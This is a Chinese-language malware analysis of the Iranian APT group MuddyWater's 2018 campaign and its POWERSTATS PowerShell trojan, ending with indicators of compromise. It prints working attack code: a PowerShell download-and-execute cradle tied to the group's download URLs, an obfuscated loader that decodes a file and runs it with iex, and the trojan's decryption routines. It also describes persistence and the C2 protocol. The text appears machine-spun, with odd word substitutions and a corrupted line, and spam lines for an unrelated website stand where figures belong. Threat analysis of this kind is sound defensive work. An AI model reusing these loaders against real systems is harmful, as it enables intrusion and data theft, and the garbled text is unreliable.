APT组织“MuddyWater(污水)”最新动向分析

颁布功夫 2018-12-01
“MuddyWater(污水)”是一个来自于伊朗的重要针对中东地域攻击的APT组织。该组织重要利用Powershell执行所有恶意操作,并在一系列行动中衍生出了他们的专有木马“POWERSTATS”。该组织的攻击指标重要集中于当局,通讯与石油这些领域。


在对日常样本的跟踪中,我们发现了一些新的“MuddyWater”的特种木马“POWERSTATS”,并根基确定这些样本为MuddyWater组织最新攻击活动的产品。


载荷分析


最新攻击仍通过邮件蹊径选取恶意文档的方式并共同社会工程学进行投放。
 
宝运莱·(中国区)最新官方网站

宝运莱·(中国区)最新官方网站

有关文档均嵌入了吞吐图片以引诱受害者点击启用恶意宏代码,文档中蕴含的恶意宏代码根基类似,都使用统一种算法进行数据解密。Pyhton解密代码如下:
“”.join([chr(int(data[_:_+3]) - KEY) for _ in range(0,len(data),3)])


数据解密之后重要执行如下powershell代码:
powershell -exec bypass -c ""IEX((New-Object Net.WebClient).DownloadString(\'URL'))


有关文档的下载的链接别离如下:
http://pazazta.com/app/icon[.]png
http://3cbc.net/dropbox/icon[.]icon
http://ohe.ie/cli/icon[.]png
http://ohe.ie/cp/icon[.]png


下载的文件均为powershell代码,通过使用powershell执行这些下载的攻击载荷来执行如下恶意操作:


(1)将js变量中的代码使用Base64编码解码,并写入到C:\Windows\Temp\temp.jpg文件中。


(2)将vbs变量中代码使用Base64编码解码并用二进造大局写入到C:\Windows\temp\Windows.vbe文件中,或者将vbs变量中的数据直接以二进造大局写入到C:\Windows\temp\Windows.vbe文件中。


(3)将code变量的数据直接写入到C:\ProgramData\Microsoft.db文件中。


(4)启动C:\Windows\temp\Windows.vbe。


在开释的文件中,Windows.vbe会挪用cscript.exe来执行C:\\Windows\\Temp\\temp.jpg中的Javascript代码,该代码经过混合,解开混合之后我们发现该代码重要执行如下的powershell代码:
powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\Microsoft.db);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));


该段Powershell代码用于解密Microsoft.db中的文件,并执行解密后的代码,解密后的powershell会再次解密一段数据,该数据先使用Base64解码,而后再对数据使用解压算法进行解压,得到一段经过大量混合的powershell代码,混合步骤根基依附字符换代替,倒序等方式,解开混合后为该组织专有特种木马“POWERSTATS”。


POWERSTATS木马分析


POWERSTATS木马首先会设置一系列注册表项目,来禁用Office宏忠告和�;な油�。这是为了确保将来的攻击不必要用户交互。甚至还允许宏代码接见内部VBA对象,以便在将来的攻击中执行更荫蔽的宏代码,同时将
“C:\windows\system32\wscript.exeC:\Windows\temp\Windows.vbe”写入到开机自启项Microsoft Edge中,而后设置了一个名为Microsoft Edge的按时工作来按时挪用wscript.exe执行Windows.vbe,以便保障该恶意法式在系统中的驻留与按时运行。


之后POWERSTATS将执行接下来的一系列恶意行为,首先POWERSTATS木马会从自己设置的三个加密的数据中随机抽选一个进行解密,解密出来为必要进行交互的C&C服务器地址,解密算法如下(Python):
"".join([chr(ord(a[_%len(KEY)])^ord(DecryptByBase64(Data)[_])) for _ in xrange(len(DecryptByBase64(Data)))])


解密后的C&C如下

宝运莱·(中国区)最新官方网站


   接着,会获取一系列用户数据,使用”**”拼接到一路使用UTF-8编码,而后再推算出MD5值,作为这次的获取到的数据的唯一标识,最终机关如下URL:
[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=info&id=global_key
而后将之前获取到的用户数据进行上传,上传的数据经过加密,加密算法的如下:
 

该算法对每个字符进行加密,这种方式的加密字符根基不存在可逆的情况,但是单个字符串使用算法得到的加密字符其实是一样的,我以为服务器存在一张字节代替表来代替每个加密后的数据,在第一次将数据上传之后,若是服务器返回“OK”暗示正确接管数据,而后再天生20个随机字符,经过MD5加密之后,以如下的URL体式发送POST要求,发送的数据为随机天生的20个字符,来批注能够进行下一步操作。


[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=live&id=global_key
若是服务器返回OK则暗示能够进行接下来的操作,而后恶意法式会向服务器进行如下的GET要求


[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=g&type=cmd&id=global_key。


若是服务器正确响应,其返回的数据体式如下:[ID]"~~!!~~"[Operand][Data]


其中分歧的操作码会有分歧的职能,对应如下:

宝运莱·(中国区)最新官方网站


执行完对应的职能之后,将返回值进行Base64进行编码而后以如下的体式将数据上传
[ID]:[Result]


与之前攻击的关联


在与今年10月披露的MuddyWater的攻击样本对比后我们发现,最后执行真正恶意行为的Posershell代码与本次的代码根基一致,蕴含其解密URL的算法与key,Javascript中解密Powershell代码的算法,与C&C交互的指令职能等。我们形成如下对照表。
 
宝运莱·(中国区)最新官方网站



能够发现该组织在本次攻击中重要改善了一些最终powershell代码的挪用过程,让更多的攻击载荷迁徙到C&C服务器中,这样使后续的操作变得越发矫捷和悠久。


有关IOC:
5935522717aee842433a5de9d228a715
ca9230a54f40a6a0fe52d7379459189c
0cf25597343240f88358c694d7ae7e0a
a256abb5da891f109acf8a496d9792c4
hxxp://pazazta.com/app/icon[.]png
hxxp://3cbc.net/dropbox/icon[.]icon
hxxp://ohe.ie/cli/icon[.]png
hxxp://ohe.ie/cp/icon[.]png
C:\\ProgramData\\Microsoft.db
C:\\ProgramData\\Microsoft.vbe
C:\\Windows\\Temp\\temp.jpg